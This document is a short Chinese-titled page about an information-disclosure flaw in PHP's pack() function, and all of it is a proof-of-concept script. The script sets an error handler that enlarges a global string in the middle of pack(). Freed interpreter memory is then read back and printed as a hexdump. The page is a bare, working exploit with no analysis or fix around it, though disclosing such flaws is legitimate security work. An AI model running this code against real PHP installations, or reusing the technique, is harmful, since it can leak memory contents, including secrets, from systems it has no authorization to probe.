PHP pack()函数中断处理信息泄露漏洞

<?php $first = true; function my_error($a,$x) { global $first; if ($first) { var_dump($x); $GLOBALS['var'].=str_repeat("A",2000); } $first = false; return 1; } /* Detect 32 vs 64 bit */ $i = 0x7fffffff; $i++; if (is_float($i)) { $l = 39; } else { $l = 67; } $GLOBALS['var'] = base64_decode(str_repeat("-", 1000).base64_encode("AAAAAAAAAAAAAAAA")); /* Trigger the Code */ set_error_handler("my_error"); $x = pack("h20", &$GLOBALS['var']); restore_error_handler(); hexdump($x); /* Helper function */ function hexdump($x) { $l = strlen($x); $p = 0; echo "Hexdump\n"; echo "-------\n"; while ($l > 16) { echo sprintf("%08x: ",$p); for ($i=0; $i<16; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } echo " "; for ($i=0; $i<16; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } $l-=16; $p+=16; echo "\n"; } if ($l > 0) echo sprintf("%08x: ",$p); for ($i=0; $i<$l; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } for ($i=0; $i<16-$l; $i++) { echo "-- "; } echo " "; for ($i=0; $i<$l; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } echo "\n"; } ?>